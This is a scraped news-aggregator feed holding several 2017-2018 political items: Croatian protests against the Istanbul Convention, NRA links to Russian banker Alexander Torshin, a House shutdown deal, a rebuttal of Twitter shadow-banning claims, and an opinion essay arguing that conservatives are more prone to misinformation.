]]> https://briefnews.eu/is-it-weird-for-conservatives-to-like-star-trek/feed/ 0 Croatian conservatives march against transgender rights in Zagreb (PHOTOS) https://briefnews.eu/croatian-conservatives-march-against-transgender-rights-in-zagreb-photos/ https://briefnews.eu/croatian-conservatives-march-against-transgender-rights-in-zagreb-photos/#respond Sat, 24 Mar 2018 18:39:17 +0000 http://briefnews.eu/croatian-conservatives-march-against-transgender-rights-in-zagreb-photos/

Thousands of conservative Croatian protesters have taken to the streets of Zagreb to speak out against a treaty designed to combat violence against women. Activists are unhappy that the legislation provides for transgender people.

READ MORE: Trans people labelled ‘parasites’ & an obstacle to feminism during Parliament event

Protesters sang songs as they marched through the Croatian capital, chanting slogans critical of the Istanbul Convention, the European treaty adopted by Croatia’s conservative government earlier this week. The legislation defines gender as “social roles, behaviors, activities and characteristics that a particular society considers appropriate for women and men.”  Its opponents have said that the European treaty introduces “a third gender” and indirectly legalizes gay marriage.

Protest organiser Kristina Pavlovic told Reuters that the the treaty represents a “turning point for Croatia,” when the country will decide whether it will “choose a preservation of family and traditional values or go another way imposed from outside.”

Speakers at the rally on Bana Jelacica square accused of the European Union of trying to “conquer” the Catholic-majority country with liberal policies. “They say we are backward because we believe in God,” said Gordana Turic, a former ruling party lawmaker, according to the Associated Press. “The Istanbul Convention is against Christianity.”

READ MORE: ‘Ready to die’: Transgender woman on hunger strike in UK male prison

The Croatian government has called on parliament to ratify the treaty but adopted a separate statement saying it will not change Croatia’s legal definition of marriage as a union between a man and a woman. The measures were recently rejected by two other eastern European countries, Bulgaria and Slovakia, last month.

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]]> https://briefnews.eu/croatian-conservatives-march-against-transgender-rights-in-zagreb-photos/feed/ 0 The NRA is at the center of a brewing controversy over its ties to ‘conservatives’ favorite Russian’ https://briefnews.eu/the-nra-is-at-the-center-of-a-brewing-controversy-over-its-ties-to-conservatives-favorite-russian/ https://briefnews.eu/the-nra-is-at-the-center-of-a-brewing-controversy-over-its-ties-to-conservatives-favorite-russian/#respond Sat, 03 Mar 2018 23:23:52 +0000 http://briefnews.eu/the-nra-is-at-the-center-of-a-brewing-controversy-over-its-ties-to-conservatives-favorite-russian/ Trump NRAJonathan Ernst/Reuters

  • The National Rifle Association is fielding a growing number of questions about its ties to Alexander Torshin, a prominent Kremlin-allied Russian banker, politician, and gun-rights activist. 
  • Torshin, who has been described as “President Putin’s emissary” in the US, said in 2015 that he knew President Donald Trump through the NRA.
  • The FBI is currently investigating whether Torshin illegally funneled money through the NRA to help sway the 2016 US election in Trump’s favor. 
  • He was also touted as the main point of contact from Russia’s side when his longtime assistant and a Republican strategist tried to set up a backdoor meeting between Trump and Russian President Vladimir Putin during an NRA convention at the height of the election.

Sign up for the latest Russia investigation updates here.

The National Rifle Association is under heightened scrutiny over its Russia ties. 

See the rest of the story at Business Insider

NOW WATCH: Henry Blodget: Will arming teachers with guns help stop school shootings?

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SEE ALSO: Vladimir Putin made an absurd argument for why he can’t respond to accusations of Russian election interference

]]> https://briefnews.eu/the-nra-is-at-the-center-of-a-brewing-controversy-over-its-ties-to-conservatives-favorite-russian/feed/ 0 The GOP may have avoided a government shutdown disaster in the House after a last-minute deal with conservatives https://briefnews.eu/the-gop-may-have-avoided-a-government-shutdown-disaster-in-the-house-after-a-last-minute-deal-with-conservatives/ https://briefnews.eu/the-gop-may-have-avoided-a-government-shutdown-disaster-in-the-house-after-a-last-minute-deal-with-conservatives/#respond Thu, 18 Jan 2018 23:59:35 +0000 http://briefnews.eu/the-gop-may-have-avoided-a-government-shutdown-disaster-in-the-house-after-a-last-minute-deal-with-conservatives/ trump mark meadows paul ryanMark Wilson/Getty Images

  • The government will shut down if no funding bill is passed by the end of Friday.
  • Conservative House members in the Freedom Caucus are currently against the Republican leadership’s plan to avoid the shutdown, putting the plan in jeopardy.
  • President Donald Trump called into a Freedom Caucus meeting in an attempt to win over the members.

Republicans have have just avoided a serious stumbling block in their bid to prevent a government shutdown.

After a furious bit of last minute negotiations, Republican leaders appear to have struck a deal with conservative hold-outs in the House Freedom Caucus to win the recalcitrant members’ support for a government funding package.

With government shutdown deadline looming at the end of Friday, Rep. Mark Meadows said that House Speaker Paul Ryan promised to introduce a measures to bolster the military’s “readiness,” satisfying a key demand from the conservative members.

“He put forth a few things for our caucus to consider that would actually be beneficial to the military and out focus on the military needs going forward,” Meadows said.

Following the caucus meeting, Meadows told HuffPost’s Matt Fuller that the agreement includes a vote on a bill to increase defense spending above a mandated cap. Also the leadership committed to work on a conservative-leaning immigration reform bill introduced by Rep. Bob Goodlatte.

The Freedom Caucus’ main concern was that the short-term bill — called a continuing resolution (CR) — would not give the military adequate resources to perform at a high level and extend the uncertainty over funding for defense.

The bill as it’s currently constructed would extend the deadline for a shutdown to February 16.

After meeting with Ryan, Meadows said that there is “hopefully a path to 2018 votes in the House,” referencing the necessary support a bill needs to go through the chamber. The North Carolina Republican also said he would advise the Freedom Caucus to vote for the deal.

“Obviously, I would be recommending to our caucus based on what I just heard that we support the president in this particular initiative,” Meadows told reporters. 

Soon after his remarks, the Freedom Caucus tweeted support for the funding bill.

“The majority of the @freedomcaucus has taken a vote to support the CR effort this evening,” the Freedom Caucus said in a tweet.

The turnaround also comes after President Donald Trump called into the Freedom Caucus meeting on Thursday in an attempt to negotiate a deal with the group.

Meadows told Business Insider following the call from Trump that there was “no distance” between the Freedom Caucus and Trump on policy but there were still issues to resolve.

“Obviously I’ve talked to the president, but at this particular point we’ve got a whole lot that we’ve got to get done and nothing has changed,” Meadows said following the meeting.

Trump also hopped onto Twitter to cheerlead for passage of the bill after speaking with Meadows.

“House of Representatives needs to pass Government Funding Bill tonight,” Trump tweeted. “So important for our country – our Military needs it!”

The Freedom Caucus’ demands appear to have been met during a meeting shortly after with Ryan. According to Meadows, Ryan is also going to hav an announcement regarding the military and the funding bill shortly.

A vote on the bill is scheduled for 7 p.m. ET in the House.

Even if the bill is passed, the deal also faces strong resistance in the Senate, where three GOP members have already said they will vote against the House bill. 

NOW WATCH: Here are the 12 best Trump memes of 2017

]]> https://briefnews.eu/the-gop-may-have-avoided-a-government-shutdown-disaster-in-the-house-after-a-last-minute-deal-with-conservatives/feed/ 0 Did Twitter engineers just admit to shadow-banning conservatives? Nope https://briefnews.eu/did-twitter-engineers-just-admit-to-shadow-banning-conservatives-nope/ https://briefnews.eu/did-twitter-engineers-just-admit-to-shadow-banning-conservatives-nope/#respond Sat, 13 Jan 2018 18:06:14 +0000 http://briefnews.eu/did-twitter-engineers-just-admit-to-shadow-banning-conservatives-nope/

Enlarge / James O’Keefe. (credit: Gage Skidmore)

James O’Keefe is a conservative activist who has made a name for himself with hidden camera investigations of supposedly liberal organizations. This week, he turned his attention to Twitter, publishing a series of secretly recorded videos of Twitter employees (and former employees) discussing Twitter’s content moderation policies and political culture.

O’Keefe claims to have uncovered smoking-gun evidence of a far-reaching conspiracy to suppress conservative speech on the Twitter platform. Conservative media outlets have taken that frame and run with it.

But there’s a lot less to the two videos Project Veritas released this week than meets the eye. For example, O’Keefe has repeatedly highlighted Twitter engineer Steven Pierre’s comment that Twitter was working on software to “ban a way of talking.” The strong implication is that the “way of talking” Pierre wants to ban is conservative political speech. But if you actually watch the full video, that’s clearly not what Pierre meant.

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]]> https://briefnews.eu/did-twitter-engineers-just-admit-to-shadow-banning-conservatives-nope/feed/ 0 Conservatives are more susceptible to believing lies — but not because they’re stupid https://briefnews.eu/conservatives-are-more-susceptible-to-believing-lies-but-not-because-theyre-stupid/ https://briefnews.eu/conservatives-are-more-susceptible-to-believing-lies-but-not-because-theyre-stupid/#respond Mon, 13 Nov 2017 04:30:14 +0000 http://briefnews.eu/conservatives-are-more-susceptible-to-believing-lies-but-not-because-theyre-stupid/ trump inauguration crowd size

  • The right wing’s disregard for facts and reasoning is not a matter of stupidity or lack of education.
  • At the most basic level, conservatives and liberals seem to hold different beliefs about what constitutes “truth.”
  • For many conservatives, faith and intuition and trust in revealed truth appear as equally valid sources of truth.


Many conservatives have a loose relationship with facts. The right-wing denial of what most people think of as accepted reality starts with political issues: As recently as 2016, 45 percent of Republicans still believed that the Affordable Care Act included “death panels” (it doesn’t). A 2015 poll found that 54 percent of GOP primary voters believed then-President Obama to be a Muslim (…he isn’t).

Then there are the false beliefs about generally accepted science. Only 25 percent of self-proclaimed Trump voters agree that climate change is caused by human activities. Only 43 percent of Republicans overall believe that humans have evolved over time.

And then it gets really crazy. Almost 1 in 6 Trump voters, while simultaneously viewing photographs of the crowds at the 2016 inauguration of Donald Trump and at the 2012 inauguration of Barack Obama , insisted that the former were larger. Sixty-six percent of self-described “very conservative” Americans seriously believe that “Muslims are covertly implementing Sharia law in American courts.”

Forty-six percent of Trump voters polled just after the 2016 election either thought that Hillary Clinton was connected to a child sex trafficking ring run out of the basement of a pizzeria in Washington, D.C., or weren’t sure if it was true.

If “truth” is judged on the basis of Enlightenment ideas of reason and more or less objective “evidence,” many of the substantive positions common on the right seem to border on delusional. The left is certainly not immune to credulity (most commonly about the safety of vaccines, GMO foods, and fracking), but the right seems to specialize in it.

“Misinformation is currently predominantly a pathology of the right,” concluded a team of scholars from the Harvard Kennedy School and Northeastern University at a February 2017 conference. A BuzzFeed analysis found that three main hyperconservative Facebook pages were roughly twice as likely as three leading ultraliberal Facebook pages to publish fake or misleading information.

Barack ObamaAssociated PressWhy are conservatives so susceptible to misinformation? The right wing’s disregard for facts and reasoning is not a matter of stupidity or lack of education. College-educated Republicans are actually more likely than less-educated Republicans to have believed that Barack Obama was a Muslim and that “death panels” were part of the ACA.

And for political conservatives, but not for liberals, greater knowledge of science and math is associated with a greater likelihood of dismissing what almost all scientists believe about the human causation of global warming.

It’s also not just misinformation gained from too many hours listening to Fox News, either, because correcting the falsehoods doesn’t change their opinions. For example, nine months following the release of President Obama’s long-form birth certificate, the percentage of Republicans who believed that he was not American-born was actually higher than before the release.

Similarly, during the 2012 presidential campaign, Democrats corrected their previous overestimates of the unemployment rate after the Bureau of Labor Statistics released the actual data. Republicans’ overestimated even more than before.

Part of the problem is widespread suspicion of facts — any facts. Both mistrust of scientists and other “experts” and mistrust of the mass media that reports what scientists and experts believe have increased among conservatives (but not among liberals) since the early ’80s.

The mistrust has in part, at least, been deliberately inculcated. The fossil fuel industry publicizes studies to confuse the climate change debate; Big Pharma hides unfavorable information on drug safety and efficacy; and many schools in conservative areas teach students that evolution is “just a theory.”

The public is understandably confused about both the findings and methods of science. “Fake news” deliberately created for political or economic gain and Donald Trump’s claims that media sites that disagree with him are “fake news” add to the mistrust.

But, the gullibility of many on the right seems to have deeper roots even than this. That may be because at the most basic level, conservatives and liberals seem to hold different beliefs about what constitutes “truth.” Finding facts and pursuing evidence and trusting science is part of liberal ideology itself. For many conservatives, faith and intuition and trust in revealed truth appear as equally valid sources of truth.

To understand how these differences manifest and what we might do about them, it helps to understand how all humans reason and rationalize: In other words, let’s take a detour into psychology. Freud distinguished between“errors” on the one hand, “illusions” and “delusions” on the other.

Errors, he argued, simply reflect lack of knowledge or poor logic; Aristotle’s belief that vermin form out of dung was an error. But illusions and delusions are based on conscious or unconscious wishes; Columbus’s belief that he had found a new route to the Indies was a delusion based on his wish that he had done so.

Although Freud is out of favor with many contemporary psychologists, modern cognitive psychology suggests that he was on the right track. The tenacity of many of the right’s beliefs in the face of evidence, rational arguments, and common sense suggest that these beliefs are not merely alternate interpretations of facts but are instead illusions rooted in unconscious wishes. 

This is a very human thing to do. As popular writers such as Daniel Kahneman, Cass Sunstein, and Richard Thaler have pointed out, we often use shortcuts when we reason, shortcuts that enable us to make decisions quickly and with little expenditure of mental energy.

nyc truck attack halloweenAP Photo/Andres KudackiBut they also often lead us astray — we underestimate the risks of events that unfold slowly and whose consequences are felt only over the long term (think global warming) and overestimate the likelihood of events that unfold rapidly and have immediate consequences (think terrorist attacks).

Our reasoning is also influenced (motivated, psychologists would say) by our emotions and instincts. This manifests in all kinds of ways: We need to maintain a positive self-image, to stave off anxiety and guilt, and to preserve social relationships. We also seek to maintain consistency in our beliefs, meaning that when people simultaneously hold two or more contradictory beliefs, ideas, or values, one or the other must go.

And so we pay more attention and give more credence to information and assertions that confirm what we already believe: Liberals enthusiastically recount even the most tenuous circumstantial evidence of Trump campaign collusion with the Russians, and dyed-in-the-wool Trump supporters happily believe that the crowd really was bigger at his candidate’s inauguration.

These limits to “objective” reasoning apply to everyone, of course — left and right. Why is it that conservatives have taken the lead in falling off the deep edge?

The answer, I think, lies in the interaction between reasoning processes and personality. It’s each person’s particular motivations and particular psychological makeup that affects how they search for information, what information they pay attention to, how they assess the accuracy and meaning of the information, what information they retain, and what conclusions they draw.

But conservatives and liberals typically differ in their particular psychological makeups. And if you add up all of these particular differences, you get two groups that are systematically motivated to believe different things.

Psychologists have repeatedly reported that self-described conservatives tend to place a higher value than those to their left on deference to tradition and authority. They are more likely to value stability, conformity, and order, and have more difficulty tolerating novelty and ambiguity and uncertainty.

They are more sensitive than liberals to information suggesting the possibility of danger than to information suggesting benefits. And they are more moralistic and more likely to repress unconscious drives towards unconventional sexuality.

Fairness and kindness place lower on the list of moral priorities for conservatives than for liberals. Conservatives show a stronger preference for higher status groups, are more accepting of inequality and injustice, and are less empathic (at least towards those outside their immediate family). As one Tea Party member told University of California sociologist Arlie Hochschild, “People think we are not good people if we don’t feel sorry for blacks and immigrants and Syrian refugees. But I am a good person and I don’t feel sorry for them.”

JC WattsAssociated PressBaptist minister and former Republican congressman J.C. Watts put it succinctly. Campaigning for Sen. Rand Paul in Iowa in 2015 he observed, “The difference between Republicans and Democrats is that Republicans believe people are fundamentally bad, while Democrats see people as fundamentally good.”

These conservative traits lead directly to conservative views on many issues, just as liberal traits tend to lead to liberal views on many issues. But when you consider how these conservative traits and these conservative views interact with commonly shared patterns of motivated reasoning, it becomes clearer why conservatives may be more likely to run into errors in reasoning and into difficulty judging accurately what is true and what is false.

It’s not just that Trump is “their” president, so they want to defend him. Conservatives’ greater acceptance of hierarchy and trust in authority may lead to greater faith that what the president says must be true, even when the “facts” would seem to indicate otherwise.

The New York Times cataloged no less than 117 clearly false statements proclaimed publicly by Trump in the first six months of his presidency, with no evident loss in his supporters’ faith in him. In the same way, greater faith in the legitimacy of the decisions of corporate CEOs may strengthen the tendency to deny evidence that there are any potential benefits from regulation of industry.

Similarly, greater valuation of stability, greater sensitivity to the possibility of danger, and greater difficulty tolerating difference and change lead to greater anxiety about social change and so support greater credulity with respect to lurid tales of the dangers posed by immigrants. And higher levels of repression and greater adherence to tradition and traditional sources of moral judgment increase the credibility of claims that gay marriage is a threat to the “traditional” family.

Conservatives are also less introspective, less attentive to their inner feelings, and less likely to override their “gut” reactions and engage in further reflection to find a correct answer. As a result, they may be more likely to rely on error-prone cognitive shortcuts, less aware of their own unconscious biases, and less likely to respond to factual corrections to previously held beliefs.

The differences in how conservatives and liberals process information are augmented by an asymmetry in group psychological processes. Yes, we all seek to keep our social environment stable and predictable. Beliefs that might threaten relationships with family, neighbors, and friends (e.g., for a fundamentalist evangelical to believe that humans are the result of Darwinian evolution or for a coal miner to believe that climate change is real and human-made) must be ignored or denied, at peril of disrupting the relationships.

But among all Americans, the intensity of social networks has declined in recent years. Church attendance and union membership, participation in community organizations, and direct political involvement have flagged. Conservatives come disproportionately from rural areas and small towns, where social networks remain smaller, but denser and more homogeneous than in the big cities that liberals dominate.

As a result, the opinions of family, friends, and community may be more potent in conservative hotbeds than in the more anonymous big cities where Democrats dominate.

The lack of shared reality between left and right in America today has contributed greatly to our current political polarization. Despite occasional left forays into reality denial, conservatives are far more likely to accept misinformation and outright lies.

Deliberate campaigns of misinformation and conservative preferences for information that fits in with their pre-existing ideology provide only a partial explanation. Faulty reasoning and judgment, rooted in the interactions between modes of reasoning and judgment shared by all with the specific personality patterns found disproportionately among conservatives may also play a central role.

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